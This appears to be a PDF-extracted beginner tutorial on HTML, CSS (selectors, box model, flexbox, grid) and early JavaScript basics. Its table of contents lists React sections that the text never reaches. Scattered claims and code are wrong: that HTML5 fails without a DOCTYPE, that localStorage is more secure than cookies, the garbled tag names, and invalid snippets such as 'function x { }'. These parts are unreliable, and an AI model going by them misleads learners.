HTML

5

HTML TO REACT

The Ultimate Guide

Table Of Content

Module 4 - Semantic HTML5

Module 5 - Flexbox intro and media query

- CSS Grids
  - Flexbox
  - Grids
  - Nested grids
  - Start-End points of Grid

Module 6 - Quirks, tips, and tricks

- FOUC
  - How to avoid it?
- BEM naming convention
- OOCSS - object oriented CSS
- CSS User Agent Styles
- Normalizing CSS
- Reset CSS
- Validate your CSS
- Testing Strategies
- Conditional CSS

JavaScript

Module 1 - JavaScript Basics

- Who created JS?
- What is javascript
- Why do you love JavaScript?
- Your first "hello world" program
- Run just JavaScript
- Variables
- Data Types in JavaScript
- Basic Operators
  - Special Operators
  - Fun with Operators
- JavaScript as Object Oriented Programming language
  - Polymorphism Example in JavaScript

Module 2 - Conditionals and Collections

- If Else Condition
- Ternary Operator
  - Advanced Ternary
- Switch Statements
- `truthy` and `falsy` values in JavaScript
- For Loop
- For-In loop
- For-Of loop
- While loop
- Do-While loop

- Installing React
  - Prerequisites
  - Install Node
  - Install Yarn
  - Install ReactJS using create-react-app
  - Online Playgrounds

Module 2 - Basics of React

- React JSX
  - JSX - confusing parts
- React Components
- Component Render
- Function Components
- Class Components
  - Pure components
- Reusing Components
- States And Props
  - States
  - Props
- Event Handling
  - Bind `this`
  - Passing Arguments
- Two Way Binding
  - One way data binding
  - Two Way - 2 way binding

Module 3 - Styling your components

- Inline Styles
- CSS Stylesheets
- Dynamic Styles

Module 4 - Advanced React

- Conditional Rendering
- Outputting Lists
  - Keys
- Higher Order Components
  - Cons of HOC
- Render Props
  - Con
- Component Lifecycle
  - *initialization*
  - *mounting*
  - `componentWillMount()`
  - `componentDidMount()`
  - `static getDerivedStateFromProps()`

HTML and CSS

Module 1 - Getting Started

Create Your First HTML Page

- Create app folder on your computer
- Create file named index.html inside app folder on your computer
- Open that page in your favorite text editor
    - I personally use VSCode

Write the following boilerplate code in index.html file

- This is your HTML boilerplate code
- You are telling the browser that index.html is an HTML file and render it as an HTML website
- head tag is where you declare meta-data, title, and link your style files
- body tag is where you actually start writing your web page codes
    - The visible part of the HTML document is between <body> and </body>
- title tag is used to define your page title
- h1 tag is used to render a heading on your page

```
<!DOCTYPE html>
<html>
  <head>
    <title>My First HTML Page</title>
  </head>
  <body>
    <h1>My Heading</h1>
  </body>
</html>
```

Run Your First HTML File

- To run your application locally -
    - Save your changes to the index.html page
    - Then imply open your index.html file in the browser

Run the application on the Internet for FREE

- If you want to run your application on the Internet and share the URL with your partner follow these steps
- Go to Netlify Drop
- Drop the folder that contains your HTML and CSS file (if you have one) on that page where it says `Drag and drop your site folder here`
- And Voila! It should create a unique URL that you can simply share with your partner

> You can see the working example here

If I do not put <! DOCTYPE html> will HTML5 work?

- No, browser will not be able to identify that it's a HTML document and HTML 5 tags will not function properly.

DOM

- Document object model
- HTML document represented as tree
- The leaf nodes contain text of the document
- DOM api to capture user events and give access to its children

When should you use section, div or article?

section

- Group content with related single theme
- Like a subsection of long article
- Normally has heading and footer

article

- Represents complete, self-contained content of page
- Could be a forum post, newspaper article, blog entry
- Its independent item of content
- Make sense on its own

div

- Does not convey any meaning
- Its often called element of last resort.. when not other element is suitable

Headings

- These tags are part of semantic HTML
- They are used to define headings
- They go from h1 to h6
    - Size is largest for h1 by default and smallest for h6 by default

```
<h1>My Heading 1</h1>
<h2>My Heading 2</h2>
<h3>My Heading 3</h3>
<h4>My Heading 4</h4>
<h5>My Heading 5</h5>
<h6>My Heading 6</h6>
```

- Headings are used for SEO purposes
    - Search Engine Optimization
    - indexing pages and structure of the page
- You can format the font styles as per your requirements for these tags

```
<h1 style="font-size:72px;">My Heading</h1>
```

Paragraph

- p element is used for writing a paragraph of texts in HTML
- You can include p inside other elements like div, section, article
- TIP: don't add extra white spaces - the browser will remove any extra spaces and extra lines when the page is displayed. Use other HTML and CSS properties to add white spaces as per your requirements.

```
<div>
  <p style="font-size:12px;">This is a paragraph.</p>
</div>
```

Links / Anchor elements

- Links allow users to navigate
  - from one page to another
  - or even from one section of the page to another section
- Links in HTML are called Hyperlinks
- Below link will take you to `https://www.google.com`
- `href` attribute specifies the target address

```
<a href="https://www.google.com">Google</a>
```

Images

- HTML allows you to add images on your website
- `src` attribute is where you specify the location of your image
  - it can be an image from the internet
  - or from your local machine

```
<img src="https://via.placeholder.com/150">
```

- `img` tag also takes in another attribute called `alt`
- `alt` attributes provide a way to show an alternative text in case an image is not available for display
  - example if the internet is not available, or user is on screen reader

Image Sizes

- You can size your image using `width` and `height` property or the `style` property

```
<img src="https://via.placeholder.com/150" alt="placeholder" width="150"
height="150">
<img src="https://via.placeholder.com/150" alt="placeholder"
style="width:150px; height:150px;">
```

Image as links

- You can make image clickable using anchor tags around them
- This can be used to navigate to another place by clicking on the image

```
<a href="https://www.google.com">
  <img src="https://via.placeholder.com/150" alt="placeholder" width="150"
height="150">
</a>
```

Module 2 - Styling your Webpage

Create a CSS File

- Create `style.css` file inside `app` folder that you created above

Then add your style in your `index.html` file

- You have to use the `link` tag to include your style file inside your HTML file

```
<head>
  <meta charset="utf-8" />
  <title>Valentine Gift</title>

  <link rel="stylesheet" type="text/css" href="style.css" />
</head>
```

Now let's create the body of your Valentine's Day card

- Replace the `body` tag in your `index.html` file to match the following code
- You are adding `card` DIV which will be the container of your greeting card. We will add the styles later.
- Inside the `card` DIV add two H1 tags.
  - These are your heading messages.
  - H1 are the biggest headings available.
  - You can also change the `font-size` as per your need.
- We also assigned appropriate `classes` to our HTML so that we can style them later

```
<body>
  <div class="card">
    <h1 class="quote">You're the CSS to my HTML</h1>
    <h1 class="message">Happy Valentine's Day</h1>
  </div>
</body>
```

Now let's add your first style

- Let's add styles for your valentine's day card
- We are using `.card` - class selector to grab the card DIV and style it
- Here we are just setting a nice red `border: 10px solid #E53038;`
- `height: 100vh;` is done to match out `body` tag's height - which is the full view-port height.
- `display: flex;` makes this `card` DIV a flex-box.
  - We are just making all our `flex-children` align in vertically and horizontally center position in one column.

```css
.card {
  border: 10px solid #E53038;
  height: 100vh;
  padding: 20px;
  display: flex;
  flex-direction: column;
  justify-content: center;
  align-items: center;
}
```

Selectors

.class

- Selects all elements with given class name
- It will select all `p` with `class="myClass"`
- write a period (.) character, followed by the name of the class

```css
<p class="myClass">This is a paragraph</p>

.myClass {
  background-color: yellow;
}
```

child .class

- You can target child element using a class hierarchy

```
// syntax

.parent .child {
    background-color: yellow;
}
```

- You have to write parent class name followed by a space, and then followed by the child's class name
- Below example will add `background-color: yellow` to the paragraph

```
<div class="parent">
    <p class="child">This is a paragraph</p>
</div>


.parent .child {
  background-color: yellow;
}
```

#id

- Style the element with given `id` attribute
- Below example `myParagraph` is the `id` of the paragraph
- We select the elements by adding `#` followed by the `id` attribute of the element

```
<p id="myParagraph">This is a paragraph</p>

#myParagraph {
  background-color: yellow;
}
```

element tag

- You can directly select an element by its tag name and apply the styles
- In this case you don't have to mention `id` or the `class` - simply write the element name in your styles and add properties to it
- Below example will grab all the `p` elements and apply the style to it

```
<p>This is a paragraph</p>

p {
  background-color: yellow;
}
```

Mix n match

- Above are the basic and most common ways to select elements and apply the styles
- You can also mix and match any of the above selectors to apply the styles

Id and Class

```
<p id="myParagraph" class="myClass">This is a paragraph</p>

#myParagraph.myClass {
  background-color: yellow;
}
```

Element and Class

```
<p class="myClass">This is a paragraph</p>

p.myClass {
  background-color: yellow;
}
```

Advanced Selectors

adjacent selector:

- Selects only the element which is preceded by the former element
- In this case, only the first paragraph after each ul will have red text

```
<ul></ul>
<p></p>

ul + p {
    color: red;
}
```

attributes selector:

- Will only select the anchor tags that have a title attribute

```
a[title] {
    color: green;
}
```

- Will style all anchor tags which link to http://net.tutsplus.com

```
a[href="http://net.tutsplus.com"] {
    color: #1f6053; /* nettuts green */
}
```

- Star designates that the proceeding value must appear somewhere in the attribute's value
- This covers nettuts.com, net.tutsplus.com, and even tutsplus.com

```
a[href*="tuts"] {
    color: #1f6053; /* nettuts green */
}
```

```
[title~="flower"] {
    border: 5px solid yellow;
}
```

- Attribute "contains" value
- Needs to be whole word

```
<img src="klematis.jpg" title="klematis flower" width="150" height="113">
// selected
<img src="img_flwr.gif" title="flower" width="224" height="162"> //
selected
<img src="img_tree.gif" title="tree" width="200" height="358"> // NOT
selected
```

```
[title*="flow"] {
    border: 5px solid yellow;
}
```

- Attribute "contains" value
- Does NOT have to be whole word

```
<img src="klematis.jpg" title="klematis flower" width="150" height="113">
// selected
<img src="img_flwr.gif" title="flower" width="224" height="162"> //
selected
<img src="img_tree.gif" title="tree" width="200" height="358"> // NOT
selected
```

```
[title|="klem"] {
    background: yellow;
}
```

- Attribute "starts with" value
- The value HAS to be a whole word - either whole word - or word followed by "-"

```
<img src="klematis.jpg" title="klem-atis flower" width="150" height="113">
// selected
<img src="img_flwr.gif" title="klem" width="224" height="162"> // selected
<img src="img_tree.gif" title="tree" width="200" height="358"> // NOT
selected
```

```
[title^="kle"] {
    background: yellow;
}
```

- Attribute "starts with" value
- The value DOEST NOT have to be a whole word

```
<img src="klematis.jpg" title="klem-atis flower" width="150" height="113">
// selected
<img src="img_flwr.gif" title="klem" width="224" height="162"> // selected
<img src="img_tree.gif" title="tree" width="200" height="358"> // NOT
selected
```

```
[title$="em"] {
    background: yellow;
}
```

- Attribute "ends with" value
- The value DOEST NOT have to be a whole word

```
<img src="klematis.jpg" title="klem-atis flower" width="150" height="113">
// NOT selected
<img src="img_flwr.gif" title="klem" width="224" height="162"> // selected
<img src="img_tree.gif" title="tree" width="200" height="358"> // NOT
selected
```

Backgrounds

- You can set different background of your elements
- Background of an element is the total size of the element, including padding and border (but not the margin)
- Below is the list of all the background properties

```
background-color
background-image
background-position
background-size
background-repeat
background-origin
background-clip
```

```
background-attachment
```

- You can set all the properties using one declaration
- These are some of the most commonly used background properties
- It adds `lightblue` background-color
- It adds `myImage.png` background image
- It set `no-repeat` background meaning it will not repeat the background image
  - It is defaulted to repeat both vertically and horizontally
- It sets `center` background-position

```
body {
  background: lightblue url("myImage.png") no-repeat center;
}
```

Colors

- The color property specifies the color of the text
- You can specify the color property on different elements by using different types of selectors
- You can specify colors by its name, it's hex value or its RGB value

```
h1 {
  color: red;
}

h1.myClass {
  color: #02af00;
}

h1#myId {
  color: rgb(111,111,111);
}
```

Borders

- You can add borders to your HTML elements

- Below is the list of all the border properties

```
border-width
border-style (required)
border-color
```

- In below example
  - `5px` is the border width
  - `solid` is the border style
    - Other examples are `dotted, double, dashed`
  - `red` is the border-color
    - You can specify colors by its name, it's hex value or its RGB value

```
h1 {
  border: 5px solid red;
}
```

Fun with Border Radius

- Borders also take another property called `border-radius` using which you can give different shapes to your elements
- If `one` value is set, this radius applies to all 4 corners.
- If `two` values are set, the first applies to `top-left` and `bottom-right` corner, the second applies to `top-right and bottom-left` corner.
- If `three` values are set - the `second` value applies to top-right and also bottom-left.
- If `four` values apply to the `top-left, top-right, bottom-right, bottom-left` corner (in that order).

Circle

```
.circle {
    border-radius: 50%;
}
```

Leaf

```
.circle {
    border-radius: 5px 20px 5px;
}
```

Module 3 - Display and position your elements

Box model

- imagine box that wraps around every HTML element ... that refers to the box model
- it has margins, borders, paddings and the actual content
- Everything in a web page is a box where you can control size, position, background, etc.

```
div {
    width: 320px;
    padding: 10px;
    border: 5px solid gray;
    margin: 0;
}

320px (width)

- 20px (left + right padding)
- 10px (left + right border)
- 0px (left + right margin)
  = 350px
```

Total width of an element should be calculated like this:

Total element width = width + left padding + right padding + left border + right border + left margin + right margin

Total height of an element should be calculated like this:

Total element height = height + top padding + bottom padding + top border + bottom border + top margin + bottom margin

- Move element on the `z-axis`

Margins

- Margins are used to create space around elements - outside its border

```
<div>
```

```
    <p class="myParagraph">My Paragraph</p>
</div>

// styles

.myParagraph {
  margin: 20px;
}
```

- `margin: 20px;` gives the p element margin of `20px` around it from all the sides

Margin On Individual Sides

- You can also give margin to the elements on any particular side if you'd want

```
margin-top
margin-right
margin-bottom
margin-left
```

Margin Shorthands

- give margin on all the sides

```
p {
  margin: 20px;
}
```

- give margin `20px` top and bottom
- and give margin `40px` left and right

```
p {
  margin: 20px 40px;
}
```

- give margin `20px` top
- and give margin `40px` left and right
- give margin `50px` bottom

```
p {
  margin: 20px 40px 50px;
}
```

Auto Margin

- `auto` value of margin sets the element horizontally center within its container
- below `div` will take `200px` width and remaining space will be split equally between left and right margine

```
div {
  width: 200px
  margin: auto;
}
```

Paddings

- Paddings are used to generate space around the given element's content - inside its border

```
<div class="myDiv">
  <p>My Paragraph</p>
</div>

// styles

.myDiv {
  padding: 20px;
}
```

- `padding: 20px;` gives the `div` element padding of `20px`
- So, basically there will be `20px` space between `p` and `div` on all the sides

Padding On Individual Sides

- You can also give padding to the elements on any particular side if you'd want

```
padding-top
padding-right
padding-bottom
padding-left
```

Padding Shorthands

- give padding on all the sides

```
div {
  padding: 20px;
}
```

- give padding 20px top and bottom
- and give padding 40px left and right

```
div {
  padding: 20px 40px;
}
```

- give padding 20px top
- and give padding 40px left and right
- give padding 50px bottom

```
div {
  padding: 20px 40px 50px;
}
```

Display

Block:

- stretches left to right as far as it can
- div, p, form, header, footer, section... and more ... default is block
- cannot be placed on the same horizontal line with any other display modes -except when they are floated

Inline:

- element sits inline.. without disrupting the flow of other elements
- span, em, b
- it takes only width needed for it... has horizontal padding though
- NO vertical padding.. no width.. no height.. just ignores them
- horizontal margin and padding are honored
- vertical margin and padding are ignored
- spans

inline-block:

- it is just like inline... BUT.. it will respect the width and height...
- combines the properties of both block elements and inline elements
- the element can appear on the same horizontal line as other elements

None:

- will not appear on the page at all
- but you can still interact with it through DOM
- NO space allocated on the page

Visibility Hidden:

- space is allocated for it on the page
- tag is rendered ... just no visible

Flex:

- gives ability to alter its item's width/height to best fill the available space
- used to accommodate all kind of display devices and screen sizes
- fill available space... or shrink to prevent overflow

Positions:

Static

- It is the default for every element
- doesn't mean much... it just means it will flow into the page as it normally would
- use it when you want to remove forcefully applied position to the element

- z-index does not work on them

Relative

- The element is relative to itself

```
.class{
    position: relative,
    top: 10px
}
```

- now it will slide down 10px from where it would normally be
- without that "top" property.. it would have just followed position: static

Absolute

- Very powerful
- Lets you place element exactly where you want
- Using top, left, bottom. and right to set the location
- REMEMBER!!.. these values are relative to its parent Where parent is absolute.. or relative If not such parent.. then it will check back up to HTML tag.. and place it absolute to the webpage itself
- So, elements are removed from the "flow" of the webpage
- Not affected by other elements
- And it doesn't affect other elements
- Its overuse or improper use can limit the flexibility of your site.
- Ignore the float property of element

Fixed

- Positioned relative to the viewport
- Useful in fixed headers

Centering:

CENTERING LINES OF TEXT:

P { text-align: center } H2 { text-align: center }

CENTERING A BLOCK OR IMAGE

```
P.blocktext {
    margin-left: auto;
    margin-right: auto;
```

```
      width: 6em
}
```

```
<P class="blocktext">This rather...

IMG.displayed {
    display: block;
    margin-left: auto;
    margin-right: auto
}



<IMG class="displayed" src="..." alt="...">
```

Centering Vertically

```
<div class=container3>
    <p>This paragraph…
</div>

div.container3 {
    height: 10em;
    position: relative
}

div.container3 p {
    margin: 0;
    position: absolute;
    top: 50%; // 50%' here means 50% of the height of the container
    transform: translate(0, -50%) // move the element up by half its own
height. '50%' in 'translate(0, -50%)' refers to the height of the element
itself
}
```

CSS Float

- Element can be pushed to the left or right
- Other elements can wrap around it

- Used with images and text which wraps around them

Clearing Floats

- Used to control beahavior of floating elements

- Clear is used to stop wrap of an element around a floating element

- Floats are headache when they are not cleared properly

- Problem1:

    - There are 2 sections side by side
    - You float LHS section..
    - The LHS section height is not does not match the RHS section

```
============
| LHS | RHS|
|       |=====
|       |
=======
```

- problem2: -- parent collapses when children are floated

```
===========
parent
===========

============
| LHS | RHS|
|     |    |
============


<div class="parent">
    <div class="lhs" >
        // float left
    </div>
    <div class="rhs">
        // float left
    </div>
</div>
```

```
// Fix:

==================
parent


============
| LHS | RHS|
|     |    |
============

==================


<div class="parent">
    <div class="lhs" >
        // float left
    </div>
    <div class="rhs">
        // float left
    </div>
    <div style="clear:both"></div>
</div>
```

Methods to clear float:

- clear:
    - takes in 3 values. left, right or both
    - used for problem 1
- overflow:hidden
    - great for ensuring parent does not collapse
    - this prop is set to parent
    - used for problem 2
- clearfix
    - its a hack.. it uses pseudo elements... and clear both property together
    - prop set to the parent
    - used for problem 2

Module 4 - Semantic HTML5

Semantic HTML?

- Coding style
- Semantic elements = elements with a meaning.
- Good for SEO
- Good for accessibility..
    - especially for visually impaired people
    - which rely on browser speech, screen readers to interpret page content clearly
- clearly describes its meaning to both the browser and the developer.
- `<b></b>` for bold, and `<i></i>` for italic **should not be used**
    - they are just formatting
    - they do not provide indication of meaning and structure
- use `<strong></strong>` and `<em></em>`
    - provide meaning ---> emphasis for example
- Non-semantic elements: `<div> and <span>` - Tells nothing about its content.
- Semantic elements: `<form>, <table>, and <article>` - Clearly defines its content.
- New semantic elements

```
<article>
<aside>
<details>
<figcaption>
<figure>
<footer>
<header>
<main>
<mark>
<nav>
<section>
<summary>
<time>
```

Difference between HTML and HTML5?

HTML

- Simple language for laying out text and images on a webpage

HTML 5

- More like an application development platform
- A new standard for HTML
- Better support for audio, video, and interactive graphics
- Supports offline data storage
- More robust exchange protocols
- Proprietary plug-in technologies like Adobe Flash, Microsoft Silverlight no longer needed
    - because browsers can process these elements without any external support

new HTML5 markup elements?

```
- <article>, <aside>, <command>, <details>, <figure>, <figcaption>,
<summary>
- <header>, <footer>, <hgroup>, <nav>, <progress>, <section>, <time>
- <audio> and <video>
- <canvas>
```

What elements have disappeared in the latest HTML?

```
- <frame> and <frameset>
- <noframe>, <applet>, <bigcenter> and <basefront>
```

Difference between `<div> and <frame>`?

- `div` is a generic container for grouping and styling
- `frame` actually divides the page
- `frame` is no longer popular
- `iframes` are used instead
    - flexible
    - embed third-party elements like YouTube video

What is HTML5 Web Storage?

- with HTML5, browsers can store data locally
- more secure and faster than cookies
- able to store large information ... more than cookies
- name/value pairs
- 2 objects
    - window.localStorage - stores data with no expiration date
    - window.sessionStorage - stores data for one session (data is lost when the tab is closed)

localStorage:

- Stores the data with no expiration date
- Data NOT deleted when browser is closed
- Available the next day, week, or year
    - It's not possible to specify expiration
    - You can manage its expiration in your app

```
// Store
localStorage.setItem("lastname", "Smith");
// Retrieve
document.getElementById("result").innerHTML =
localStorage.getItem("lastname");
```

sessionStorage:

- Stores the data for only one session
- Data deleted when browser is closed

```
if (sessionStorage.clickcount) {
    sessionStorage.clickcount = Number(sessionStorage.clickcount) + 1;
} else {
    sessionStorage.clickcount = 1;
}

document.getElementById("result").innerHTML = "You have clicked the button
" +
sessionStorage.clickcount + " time(s) in this session.";
```

Module 5 - Flexbox intro and media query

Flexbox

- provides efficient way to lay out, align and distribute space among items in a container
- main idea - give the container the ability to alter its items' width/height (and order) to best fill the available space
- `display: flex`
    - defines a flex container
- `flex-direction: row | row-reverse | column | column-reverse;`
    - establishes main axis
    - defines the direction of children placement
- `flex-wrap: nowrap | wrap | wrap-reverse;`
    - allow items to wrap or nowrap as needed
- `justify-content`
    - defines the alignment along the main axis
    - X-axis for row, Y-axis for column
- `align-items`
    - defines the alignment along the cross axis
    - Y-axis for row, X-axis for column - opposite of `justify-content`
- children properties
- `order: <integer>; /* default is 0 */`
    - order in which the flex item appear inside the flex container
- `flex-grow: <number>; /* default 0 */`
    - defines the ability for a flex item to grow if necessary
    - accepts a unitless value that serves as a proportion
- `flex-shrink: <number>; /* default 1 */`
    - defines the ability for a flex item to shrink if necessary
- `flex-basis: <length> | auto; /* default auto */`
    - defines the default size of an element before the remaining space is distributed
    - can be a length (e.g. 20%, 5rem, etc.) or a keyword
    - `auto` keyword means "look at my width or height property"
- `flex: none | [ <'flex-grow'> <'flex-shrink'>? || <'flex-basis'> ]`
    - shorthand for flex-grow, flex-shrink and flex-basis combined
    - default is 0 1 auto
    - recommended that you use this shorthand property rather than set the individual properties
    - shorthand sets the other values intelligently
- `align-self`
    - allows the default alignment to be overridden for individual item
    - overrides container's `align-items` property

Media queries

- it's introduced in CSS3
- it uses @media rule to include CSS only if a certain condition is true

```
// If the browser window is smaller than 500px, the background color will
change to lightblue:

@media only screen and (max-width: 500px) {
    body {
        background-color: lightblue;
    }
}
```

Always Design for Mobile First

- means style for mobiles first
- then include desktop styles in media queries

```
/* For mobile phones: */
.mobile-styles {
    width: 100%;
}


@media only screen and (min-width: 768px) {
    /* Style For desktop: */
    .desktop-styles {
        width: 100%;
    }

}
```

Orientation: Portrait / Landscape

- queries which apply depending on the orientation of browser

```
@media only screen and (orientation: landscape) {
    body {
        background-color: lightblue;
    }
}
```

Let's talk about the sizes - px vs em vs rem

- Pixels are ignorant, avoid using them
- If you're setting all of your font-sizes, element sizes and spacing in pixels, you're not treating the end user with respect.
  - Users will have to zoom in and out with ctrl plus +/- depending on the device they are on
- REMs are a way of setting font-sizes based on the font-size of the root HTML element
- Allows you to quickly scale an entire project by changing the root font-size
- em is relative to the font size of its direct or nearest parent
  - When you have nested styles it becomes difficult to track ems
  - This is what REMs solve - the size always refers back to the root.
- Both pixels and REMs for media queries fail in various browsers when using browser zoom, and EMs are the best option we have.

How to calculate PX from REM

EX: HTML font-size is set to 10px, paragraph font-size is set to 1.6rem

Then size in pixels is - 1.6rem * 10px = 16px

More on rem vs em

- Both rem and em are relative units
- rem is only relative to the HTML (root) font-size
- rem is popularly used for margins, paddings, and sometimes font-sizes too
- em is relative to the font size of its direct or nearest parent
- em are encouraged to be used for media queries

CSS Grids

Flexbox

- 1 dimension
- its columns... OR rows

Grids

- 2 dimension
- its columns... AND rows

```
<div class="wrapper">
    // first row
    <div>70%</div>
    <div>30%</div>

    // second row... you don't have to specify rows like bootstrap
    <div>70%</div>
    <div>30%</div>
</div>

.wrapper {
    display: grid;
    grid-template-columns: 70% 30%;      // this will split children into
2 rows of 70% and 30%
}

.wrapper {
    display: grid;
    grid-template-columns: 40% 30% 30%; // 3 columns in 1 row
    grid-column-gap: 1em; // margin between columns
    grid-row-gap: 1em; // margin between row
    grid-gap; 1em; // row and column both!!!
 }
```

```
.wrapper {
   display: grid;
   grid-template-columns: 1fr 2fr 1fr;
   // 3 columns in 1 row... divide into fractions...
   // fractions are recommended over pixels or %


    grid-template-columns: repeat(4, 1fr 2fr);
    // it will repeat fractions 4 times

    grid-auto-row: 100px; // row height will be 100px
    grid-auto-row: minmax(100px, auto); // min 100px max auto based on
content
```

```
    }
```

Nested grids

```
<div class="wrapper">
  <div class="nested">
    <div></div>
    <div></div>
    <div></div>
  </div>
</div>


// now the nested div is also a grid container
.nested {
    display: grid;
  grid-template-columns: repeat(3, 1fr); // 3 columns of 1 fr
  grid-auto-rows: 100px;
}
```

Start-End points of Grid

```
// wrapper is grid container... of 4 columns in this example!!!

<div class="wrapper">
  <div class="box1"></div>
  <div class="box2"></div>
  <div class="box3"></div>
  <div class="box4"></div>
</div>


.box1 {
    grid-column: 1/3; // box1 spans from 1 to 3 columns on browser window
  grid-row: 1/3; // box1 spans from 1 to 3 rows on browser window
}

.box2 {
```

```
    grid-column: 3; // box2 spans takes spaces 3 and 4
  grid-row: 1/3; // same as box1
}


.box3 {
    grid-column: 2/4; // box3 will take space 2 to 4
  grid-row: 3;// it will take row space 3
}



// NOTE: in grids... we can overlaps things.. like below
// overlaps 1 and 3
// Sooo... you don't need negative margins and that crap CSS!!!
.box4 {
    grid-column: 1;
  grid-row: 2/4;
}
```

Module 6 - Quirks, tips, and tricks

FOUC

- Flash of unstyled content
- Happens when for a brief moment.. content is displayed with browser's default styles
- Happens when CSS is not loaded but the content is loaded

How to avoid it?

1.

- You can use CSS to hide BODY
- Then when CSS is loaded then using JS... set body to visible
- But if JS is disabled.. then users won't see anything ever!!!

2.

- Use JS to hide body
- And when JS and CSS are loaded... use JS only to make body visible
- Write that JS code in HEAD... so as soon as it is hit, HTML is hidden
- And when document is ready... then show the HTML again

```
<html>
    <head>
        <!— Other stuff like title and meta tags go here -->
        <style type="text/css">
            .hidden {display:none;}
        </style>
        <script type="text/javascript" src="/scripts/jquery.js"></script>
        <script type="text/javascript">
            $('html').addClass('hidden');
            $(document).ready(function() { // EDIT: From Adam Zerner's
comment below: Rather use   load: $(window).on('load', function () {...});
                $('html').show(); // EDIT: Can also use
$('html').removeClass('hidden');
            });
        </script>
    </head>
    <body>
        <!— Body Content -->
    </body>
</html>
```

BEM naming convention

- blocks, elements, modifiers
- blocks
  - parent level elements
  - `<ul class="nav"></ul>`
- elements
  - children of parent level components
  - `<li class="nav__item"></li>`
  - 2 underscores... it tells that item is child of nav
- modifiers
  - modify the visual looks
  - `<li class="nav–large"></li>`
  - 2 hyphens... it tells that large is modifier class

OOCSS - object oriented CSS

- Standard to structure your CSS in a modular fashion
- Can reuse CSS seamlessly
  - Meaning above NAV CSS can be used in any container... section, page, dialog
- It follows a component based approach

CSS User Agent Styles

- These are browser styles
- When browser renders a page it applies basic styles before you've even written a single style
- each browser has its specific styles different from other browsers
  - causes an inconsistency problem
- Solve this problem
  - Normalize CSS approach and the CSS Reset approach
  - Normalize CSS as a gentle solution
  - Reset CSS as a more aggressive solution

Normalizing CSS

- Small CSS file that provides cross-browser consistency
- Provides default styles for HTML elements

- Make sure that all HTML elements renders the same way in ALL browsers - same padding, margin, border, etc..
- In some cases this approach applies IE or EDGE styles to the rest of the browsers

Reset CSS

- This approach says that we don't need the browsers' default styles at all
- We'll define in the project according to our needs
- `CSS Reset` resets all of the styles that come with the browser's user agent
- Grab CSS Reset [here](#)
- The problem with CSS Resets is that they are ugly and hard to debug
- Solution - use Normalize CSS with little bit of CSS Reset
- Unlike an ordinary CSS reset, target specific HTML tags' styles rather than making a big list of tags.
    - Make it less aggressive and a lot more readable

Validate your CSS

- Use online tools to validate your CSS
- Validation Service can be used to check the correctness (validity)
- You might get important insights on what you are missing
- It Helps Cross-Browser, Cross-Platform and Future Compatibility
- Validating your web page does not ensure that it will appear the way you want it to.
    - It merely ensures that your code is without HTML or CSS errors.
- Tool - [The Validation Service](#)

Testing Strategies

- Do cross-browser testing
- Manually test Chrome, firefox
- Then manually test IE, Edge
- Then use tools like ..for compatibilities
    - `browsershots.org`
    - `IEtest`

Conditional CSS

- conditional CSS for IE hacks

```
<link type="text/css" href="style.css" />
<!—[If IE]>
<link type="text/css" href="IEHacks.css" />
```

```
<![endif]-->
<!--[if !IE]>
<link type="text/css" href="NonIEHacks.css" />
<![endif]-->
```

JavaScript

Module 1 - JavaScript Basics

Who created JS?

- Brendan Eich when working at NetScape
- It was created in 10 days

What is javascript

- JavaScript is an interpreted language
    - It means it doesn't need a compiler
    - It executes instructions directly without compiling
    - It is platform independence, dynamic typing
    - The source code is evaluated JUST before executing it
- It is open source and cross-platform compatible
- It is created by NetScape
- It has object-oriented capabilities

Why do you love JavaScript?

- It is easy to start using
- JavaScript can be used on any platform
- It performs well on every platform
- You can build web, IOT, mobile apps using JavaScript
- It can be used on the Frontend, Backend, and also in the databases like MongoDB
- It is dynamic in nature ex: objects and arrays can be of mixed types

Your first "hello world" program

- Write the below HTML code in `index.html` file and open it in browser

```
<!DOCTYPE html>
<html>
<body>
    <h1>My First Web Page</h1>
    <p>My First Paragraph</p>
    <p id="demo"></p>
</body>
<script>
    alert("hello world");
```

```
</script>
</html>
```

- JavaScript code is written in between the `script` tag in the above code.
- When the page loads the browser will run the code between the `script` tag.
- `alert()` function will be called which will create a model with `hello world` text on it.

> Congratulation! You just wrote your first JavaScript program

Run just JavaScript

- Instead of creating your own HTML file you can use online IDE as a JavaScript playground
- My favorite ones are:
    - Code Sandbox
    - PlayCode

Variables

- Variables are containers
- They store data values
    - For ex: `var x = 5`
    - 5 is the value stored in variable `x`
- In programming, just like in mathematics, we use variables to hold values

```
// More examples

var x = 10 // number variable
var x = "hi" // string variable
```

Data Types in JavaScript

- Data Types supported in JavaScript are: `Number, String, Boolean, Function, Object, Null, and Undefined`.
- Unlike Java or C#, JavaScript is a loosely-typed language.
- No type declarations are required when variables are created.

```
// Data Types examples

var x = 10 // number variable
var x = "hi" // string variable
var x = true // boolean variable
function x { // your function code here }  // function variable
var x = { }  // object variable
var x = null  // null variable
var x  // undefined variable
```

- Data Types are important in programming language to perform operations on the variables

Basic Operators

- `=` operator is used to assign value to a variable
    - ex: `var x = 10` - variable `x` is assigned value `10`
- `+` operator is used to add numbers
    - ex: `var x = 10 + 5` - variable x is now 15
- `+` operator is also used to concatenate two strings
    - ex: var `x = "hi" + "there"` - variable `x` is now `hithere`
- `−` operator is used to subtract numbers
    - ex: var `x = 10 − 5` - variable `x` value is now `5`
- `*` operator is used to multiple numbers
    - ex: var `x = 10 * 5` - variable `x` value is now `50`
- `/` operator is used to divide numbers
    - ex: var `x = 10 / 5` - variable `x` value is now `2`
- `++` operator is used to increment value of the variable
    - ex: `var x = 10; x++;` - variable `x` value is now `11`
- `−−` operator is used to decrement value of the variable
    - ex: `var x = 10; x−−;` - variable `x` value is now `9`

Special Operators

- `typeof` operator can be used to return the type of a variable
- `instanceof` operator can be used to check if the an object is an instance of a certain object type

Fun with Operators

```
1.

var x = 15 + 5 // 20
var y = "hi"

var z = x + y // 20hi
```

```
2.

var y = "hi" + 15 + 5 // hi155
```

- In the first example
  - `15 + 5` is treated as number operation
  - When the compiler sees `hi` it performs string concatenation
  - So the answer is `20hi`
- In the second example
  - JavaScript compiler sees `hi` string first so it considers the operands as strings
  - So the answer is string concatenation `hi155`

JavaScript as Object Oriented Programming language

- JavaScript has OOP capabilities like `Encapsulation, Aggregation, Composition, Inheritance, and Polymorphism`
- Aggregation
  - `A "uses" B` = Aggregation : B exists independently (conceptually) from A
  - example:
    - Let say we have objects: `address, student, teacher`
    - We want to specify `student address` and `teacher address`
    - Then we can reuse `address` between `student` and `teacher`
- Composition
  - `A "owns" B` = Composition : B has no meaning or purpose in the system without A
